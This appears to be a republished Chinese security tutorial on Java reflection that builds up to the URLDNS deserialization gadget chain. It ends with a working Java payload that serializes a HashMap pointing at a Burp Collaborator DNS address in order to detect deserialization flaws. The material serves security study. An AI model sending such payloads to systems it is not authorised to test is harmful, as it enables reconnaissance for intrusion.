实例解析Java反射,你会了吗?

安全 数据安全
java的反射是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象。

反射是大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。

什么是反射

java的反射是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象。

基本形式

public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}

上面的例子中,我演示了几个在反射里极为重要的方法:获取类的方法: forName实例例化类对象的方法: newInstance获取函数的方法: getMethod执行函数的方法: invoke。

反射的作用:

让Java具有动态性,修改已有对象的属性,动态生成对象,动态调用方法,操作内部类和私有方法。

在反序列化漏洞中的应用

定制需要的对象,通过invoke调用除了同名函数以外的函数,通过class类创建对象,引入不能序列化的类。

java反射举例

此处引用白日梦组长的例子,具体讲解一下反射。

先写一个Person作为我们下面演示的原型类。

public class Person {
private String name;
public int age;

public void act(){
System.out.println("test");
}
@Override
public String toString() {
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public Person() {
}

public Person(String name, int age) {
this.name = name;
this.age = age;
}
}

获取原型类

使用forName方法:

Class c = Class.forName("Person");

在此也写一种基于ClassLoader的动态类加载方式。

this.getClass().getClassLoader().loadClass("Person");

从原型class里面实例化对象

利用构造函数实例化。

Constructor constructor = c.getConstructor(String.class,int.class);
Person p1 = (Person) constructor.newInstance("abc",22);

我们来逐行写一下分析:

Constructor constructor = c.getConstructor(String.class,int.class);
这一行是为了获取原型类中重载的构造方法
public Person(String name, int age) {
this.name = name;
this.age = age;
}

对构造方法进行传参实例化一个对象
Person p1 = (Person) constructor.newInstance("abc",22);
我们可以打印一下p1看一下返回结果

img

获取类里面的属性

private String name;
public int age;

public

Field ageField = c.getField("age");
ageField.set(p1,11);

img

private

Field nameField = c.getDeclaredField("name");
nameField.setAccessible(true);
nameField.set(p1,"xinyuan");

img

获取类方法

Method actmethod = c.getMethod("act",String.class);
actmethod.invoke(p1,"SKyMirror");

getMethod 与上面的获取构造函数类似,第一个参数是函数名,第二个是传参的类型。

invoke方法第一个传入对象,第二个是传入参数值。

img

利用URLDNS(反射)

这条链子算是反射的一个简单应用。

利用点

URL这个类重写了hashCode方法,导致在执行hashCode的时候,此利用点不能命令执行,但是会请求DNS,所以被用来验证是否存在反序列化漏洞。

源码如下:

img

img

可以看到当我们调用一次hashCode方法,他会对传进去的URL对象发起请求,即我们如果去DNSLOG申请一个地址,根据访问来判断是否成功执行了hashCode方法进而判断是否执行了反序列化的操作。

URL这个类实现了java.io.Serializable,可以进行序列化的操作。

img

因此,在这里我们可以验证一下我们上面的想法。

img

img

链子

这个链子也比较短,比较简单,主要是利用HashMap来执行hashCode方法。

HashMap实现了Serializable可以序列化,此处注意反序列化时HashMap的readObject方法。

img

我们跟进一下hash方法:

img

key参数可控,key又是由反序列化的时候生成的。在HashMap中用put传入一个URL的对象,即可在反序列化的时候调用到此方法,从而触发整个链子。

有一点需要注意,我们在序列化的时候,进行的put传参会修改掉传入的URL对象的hashCode的值,因为hashCode值不等于-1,从而导致无法正常触发下面的方法,即无法触发DNS请求。

img

同时在正常put传参的时候会执行一次DNS请求,所以我们在put传参之前修改hashCode的值(不为-1就行),传参之后修改hashCode为-1,在反序列化的时候就可以正常执行了。

payload如下:

public static void main(String[] args) throws Exception{
HashMap <URL,Integer> hashMap = new HashMap<>();
URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/");
Class c = u.getClass();
//在进行put方法传参之前修改URL对象的hashCode值
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(u,123);

hashMap.put(u,123);
//修改URL对象的hashCode值为-1
hashcodeField.set(u,-1);
serialize(hashMap);
}

责任编辑:武晓燕 来源: FreeBuf.COM
相关推荐

2024-01-18 09:38:00

Java注解JDK5

2023-06-26 13:08:52

GraphQL服务数据

2024-11-08 08:56:01

2022-08-29 08:05:44

Go类型JSON

2024-02-05 13:52:30

​Thread对象强引用

2024-10-09 07:40:43

2023-12-27 07:31:45

json产品场景

2024-10-11 09:15:33

2024-01-19 08:25:38

死锁Java通信

2024-09-06 07:29:05

2022-12-22 08:14:54

2022-05-06 08:26:32

JavaSPI机制

2024-04-01 08:29:09

Git核心实例

2024-07-31 08:26:47

2024-10-21 07:05:14

C#特性语言

2024-01-02 12:05:26

Java并发编程

2023-08-01 12:51:18

WebGPT机器学习模型

2023-01-28 09:50:17

java多线程代码

2024-01-29 00:41:14

2024-02-04 00:00:00

Effect数据组件
点赞
收藏

51CTO技术栈公众号